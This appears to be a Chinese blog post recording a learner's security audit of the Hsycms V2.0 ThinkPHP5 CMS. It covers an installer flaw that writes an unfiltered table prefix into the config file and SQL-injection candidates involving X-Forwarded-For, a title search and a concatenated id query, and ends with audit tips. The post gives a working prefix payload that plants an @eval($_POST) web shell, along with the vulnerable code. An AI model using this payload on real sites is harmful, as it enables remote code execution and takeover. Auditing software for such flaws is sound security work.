由于刚学习过thinkphp5框架，就找了一个使用该框架的cms，hsycms V2.0，Hsycms企业网站管理系统V2.0下载地址：https://files.cnblogs.com/files/b1gstar/Hsycms%E4%BC%81%E4%B8%9A%E7%BD%91%E7%AB%99%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9FV2.zip
同时已有大佬审计了此cms，我也借鉴学习下。https://xz.aliyun.com/t/5770
1、Getshell 漏洞 全局搜索file_put_contents php的向文件写内容函数
要利用该函数，必须保证写的内容可控，逐个查看，注意到cms中定义的write_config函数，其中有
1 function write_config($config){ 2 if(is_array($config)){ 3 //读取配置内容 4 $conf = file_get_contents(APP_PATH . 'install/data/db.tpl'); 5 //替换配置项 6 foreach ($config as $name => $value) { 7 $conf = str_replace("[{$name}]", $value, $conf); 8 } 9 10 file_put_contents(APP_PATH.'common/install.lock', 'ok'); 11 12 //写入应用配置文件 13 if(file_put_contents(APP_PATH . 'database.php', $conf)){ 14 show_msg('配置文件写入成功'); 15 } else {
然后全局搜索write_config，看看哪里调用了。只有install模块中的index.php调用了，也就是说在cms开始使用时，要求写入配置文件时，使用了该函数。
//创建数据表 create_tables($db, $dbconfig['prefix']); //注册创始人帐号 $admin = session('admin_info'); register_administrator($db, $dbconfig['prefix'], $admin); //创建配置文件 $conf = write_config($dbconfig);
向上翻，即可看到变量$dbconfig来源。
//检测数据库配置 if (!is_array($db) || empty($db[0]) || empty($db[1]) || empty($db[2]) || empty($db[3]) || empty($db[5]) || empty($db[6])) { return $this->error('请填写完整的数据库配置'); } else { $DB = array(); list($DB['type'], $DB['hostname'], $DB['database'], $DB['username'], $DB['password'], $DB['hostport'], $DB['prefix']) = $db; //缓存数据库配置 session('db_config', $DB);
写入的内容丝毫没有过滤。也就是说此处有写shell的可能。为啥说只是有可能呢，因为cms检测common/install.lock文件不存在时，才会进入到初始化页面，才可以写配置。要想利用该漏洞，可以结合任意文件删除漏洞，把install.lock文件删除才行。至于如何删除，我们先放一放。先想一想这个漏洞如何利用
可写入内容的页面如下：
尝试了在数据库名写shell，数据库可以创建成功，但是建表的时候就失败了。
剩下可写的只有前缀了。发现前缀在写入文件之前，要先经过修改管理员密码的sql语句执行。
即update `[前缀]user` set password='[PASS]' where username='admin';
我随便把前缀改了下，如sy_`;phpinfo(); 执行见下图：
这样是肯定是出错的。先把前面语句补齐。
sy_user` set password=1;# 要把shell写配置文件，要考虑到闭合单引号，sy_user` set password=1 or '.@eval($_POST["cnblog"]).'#
连接成功：
2、检查sql注入
先全局搜索X_FORWARDED_FOR，因为这里经常会出问题。。
向下翻，发现没有任何过滤，就插入到数据库了。有个前提条件，就是useragent头中要包含baidu或者google之类。
我们尝试把x_forward_for的值设为单引号，然后跟进下，发现sql语句为
INSERT INTO `sy_spider` (`title` , `url` , `oldurl` , `ip` , `datetime`) VALUES (:data__title , :data__url , NULL , :data__ip , :data__datetime)
执行之后，发现单引号已经插入到数据库了。这个时候要来确定下是否使用pdo预防注入，PHP的PDO扩展的 prepare 方法，是可以避免sql injection 风险。举个pdo的例子：
$dbh = new PDO("mysql:host=localhost; dbname=demo", "user", "pass"); $dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); //禁用prepared statements的仿真效果 $dbh->exec("set names 'utf8'"); $sql="select * from test where name = ? and password = ?"; $stmt = $dbh->prepare($sql); $exeres = $stmt->execute(array($testname, $pass)); if ($exeres) { while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) { print_r($row); } } $dbh = null;
当调用 prepare() 时，查询语句已经发送给了数据库服务器，此时只有占位符 ? 发送过去，没有用户提交的数据；当调用到 execute()时，用户提交过来的值才会传送给数据库，他们是分开传送的，两者独立的，SQL攻击者没有一点机会。
在这个cms中，是使用pdo的。见下图：
同样，我们在Article模块中，发现一个可控的输入点
$title = urldecode(input('title'));
没有过滤就带入了查询：
if($title!=""){
$where['title'] = array('like','%'.$title.'%');
}
db('article')->where($where)->order($order)->paginate(9,false,['query' => request()->param()]);
但是同样被pdo处理掉。见下图
难道就没有注入吗？我们再看看show模块
可控输入的语句：
$id = input('id');
$one = db('article')->where('id',$id)->find();
我们这样传参：
这个查询语句db('article')->where('id',$id)->find();经过pdo处理，正常执行了，我们接着往下看：
$data['pn'] = prevNext($id,$navrow['entitle'],$one);
id参数被带入了prevnext函数，继续跟进：
$prev=db('article')->field("id,title")->where("id < {$id} and nid={$one['nid']} and cid={$one['cid']}")->order('id desc')->limit('1')->find();
发现这里使用了自行拼接的语句：where("id < {$id} and nid={$one['nid']} and cid={$one['cid']}")
我们在浏览器地址栏中把payload设置如下，页面返回了正常数据：
有了这些经验，我们就在hsycms模块中直接看是否有拼接语句，来快速检查sql注入。
我们发现这个cms使用的扩展RBAC类中有拼接语句，但是变量$authid不可控。
3、审计后台
后台也就是hsycms模块，看了下,未发现漏洞（开始发的那个大佬的文章，说后台存在任意下载和任意文件删除，我下载的这个cms版本中没有那两个函数）。
4、总结
通过这次审计，学习到两点：
1、我们可以再快速审计时候，全局搜索file_put_contents 、“function del”、“function down”，然后逆向追踪变量是否可控。
2、在诸如thinkphp这种mvc框架中，像快速发现sql注入，就直接找拼接语句，如where("id < {$id} and nid={$one['nid']} and cid={$one['cid']}")。可以搜索 “ < {”、“='{$“这种。
3、快速定位tp框架版本，全局搜索version
4、phpstorm快捷键，F7单步调试，F8快速调试，不进入函数内部。F4定位变量。ALT+SHIFT+F 全局搜索。